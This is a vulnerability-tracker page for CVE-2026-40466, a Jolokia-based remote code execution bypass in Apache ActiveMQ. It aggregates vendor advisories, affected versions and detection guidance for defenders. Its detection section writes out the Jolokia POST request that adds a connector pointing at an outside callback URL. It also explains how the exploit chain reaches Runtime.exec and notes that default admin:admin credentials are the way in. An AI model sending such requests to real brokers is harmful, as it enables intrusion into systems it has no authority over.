CVE-2026-40466
published 2026-04-24CVE-2026-40466: Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache…
PriorityP179high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
4.78%
90.9th percentile
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ.
An authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath.
A malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext.
Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().
This issue affects Apache ActiveMQ Broker: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ All: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ: before 5.19.6, from 6.0.0 before 6.2.5.
Users are recommended to upgrade to version 5.19.6 or 6.2.5, which fixes the issue.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | activemq | < 5.19.6 | 5.19.6 |
| apache | activemq | >= 6.0.0 < 6.2.5 | 6.2.5 |
| apache | activemq_broker | < 5.19.6 | 5.19.6 |
| apache | activemq_broker | >= 6.0.0 < 6.2.5 | 6.2.5 |
Detection & IOCsextracted from sources · hover to see the quote
commandPOST /api/jolokia/ {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["http://{{interactsh-url}}/discovery"]}
commandPOST /api/jolokia/ {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector(java.lang.String)","arguments":["NC"]}
path/api/jolokia/
- →Detect exploitation attempts by monitoring POST requests to /api/jolokia/ invoking addNetworkConnector or addConnector with an HTTP-scheme URI argument (e.g. http://attacker/discovery), which is the bypass vector for CVE-2026-34197's vm:// block. ↗
- →Alert on Jolokia exec operations targeting the mbean org.apache.activemq:type=Broker,brokerName=localhost with operations addNetworkConnector or addConnector containing external HTTP URLs in arguments.
- →Monitor for outbound HTTP requests from the ActiveMQ broker JVM to external hosts, especially those returning vm:// URIs, which indicates second-stage transport hijacking. ↗
- →Detect loading of remote Spring XML application contexts (ResourceXmlApplicationContext) from the broker process, which is the mechanism for arbitrary code execution via bean factory methods such as Runtime.exec(). ↗
- →Flag presence of activemq-http module on the classpath as a prerequisite risk indicator; this module is included by default in the 'all' distribution and enables the HTTP Discovery transport attack path.
- ·Exploitation requires authenticated access to the Jolokia API; the default credential base64 'YWRtaW46YWRtaW4=' decodes to admin:admin, indicating default credentials are a prerequisite risk factor.
- ·The activemq-http module must be present on the classpath for the HTTP Discovery transport bypass to work; it is included by default in the 'all' distribution but may not be present in minimal deployments. ↗
- ·This CVE is a bypass of the prior fix for CVE-2026-34197; the original fix only denied the 'vm' scheme in BrokerView.addNetworkConnector/addConnector, leaving HTTP Discovery transport unblocked. ↗
- ·Red Hat JBoss EAP 7 is listed as 'Will not fix', meaning patching may not be available for that platform; detection and compensating controls are especially important there. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
ghsa8.8HIGH
vulncheck8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-w3w2-mpp5-92gm: Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apa
ghsa_unreviewed·2026-04-24·CVSS 8.8
CVE-2026-40466 [HIGH] CWE-20 GHSA-w3w2-mpp5-92gm: Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apa
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ.
An authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath.
A malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext.
Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService
GHSA
Apache ActiveMQ Vulnerable to Improper Input Validation and Code Injection
ghsa·2026-04-24·CVSS 8.8
CVE-2026-40466 [HIGH] CWE-20 Apache ActiveMQ Vulnerable to Improper Input Validation and Code Injection
Apache ActiveMQ Vulnerable to Improper Input Validation and Code Injection
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ.
An authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath.
A malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext.
Because Spring's ResourceXml
VulDB
Apache ActiveMQ up to 5.19.5/6.2.4
vuldb·2026-04-23·CVSS 8.8
CVE-2026-40466 [HIGH] Apache ActiveMQ up to 5.19.5/6.2.4
A vulnerability has been found in Apache ActiveMQ up to 5.19.5/6.2.4 and classified as problematic. Affected by this issue is some unknown functionality. This manipulation causes an unknown weakness.
This vulnerability appears as CVE-2026-40466. The attack may be initiated remotely. There is no available exploit.
The affected component should be upgraded.
VulnCheck
Apache ActiveMQ Improper Input Validation
vulncheck·2026·CVSS 8.8
CVE-2026-40466 [HIGH] Apache ActiveMQ Improper Input Validation
Apache ActiveMQ Improper Input Validation
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ.
An authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath.
A malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext.
Because Spring's ResourceXmlApplicationContext instantiates a
Red Hat
org.apache.activemq/activemq-all: org.apache.activemq/activemq-broker: Apache ActiveMQ: Arbitrary code execution via improper input validation in HTTP Discovery transport
vendor_redhat·2026-04-24·CVSS 8.8
CVE-2026-40466 [HIGH] CWE-94 org.apache.activemq/activemq-all: org.apache.activemq/activemq-broker: Apache ActiveMQ: Arbitrary code execution via improper input validation in HTTP Discovery transport
org.apache.activemq/activemq-all: org.apache.activemq/activemq-broker: Apache ActiveMQ: Arbitrary code execution via improper input validation in HTTP Discovery transport
A flaw was found in Apache ActiveMQ. An authenticated attacker can bypass a previous security fix by adding a connector using an HTTP Discovery transport through Jolokia, if the activemq-http module is present. A malicious HTTP endpoint can return a virtual machine (VM) transport, which allows the attacker to load a remote Spring XML application context. This can lead to arbitrary code execution on the broker's Java Virtual Machine (JVM).
Package: activemq-broker (Red Hat AMQ Broker 7) - Affected
Package: activemq-broker (Red Hat Data Grid 8) - Affected
Package: log4j:2/log4j (Red Hat Enterprise Linux 8) - Not affecte
No detection rules found.
Nuclei
Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass
nuclei·CVSS 8.8
CVE-2026-40466 [HIGH] Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass
Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass
Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the "vm://" transport scheme in BrokerView.addNetworkConnector() and BrokerView.addConnector() to prevent authenticated attackers from loading malicious Spring XML configurations via the Jolokia API. However, the fix only denied the "vm" scheme. An attacker can bypass this restriction by using the HTTP Discovery transport(http://attacker/discovery), which is not in the denied scheme list. The attacker-controlled HTTP endpoint returns a vm:// transport URI as a second-stage response, which then loads a remote Spring XML application context, leading to
2026-04-24
Published
Exploited in the wild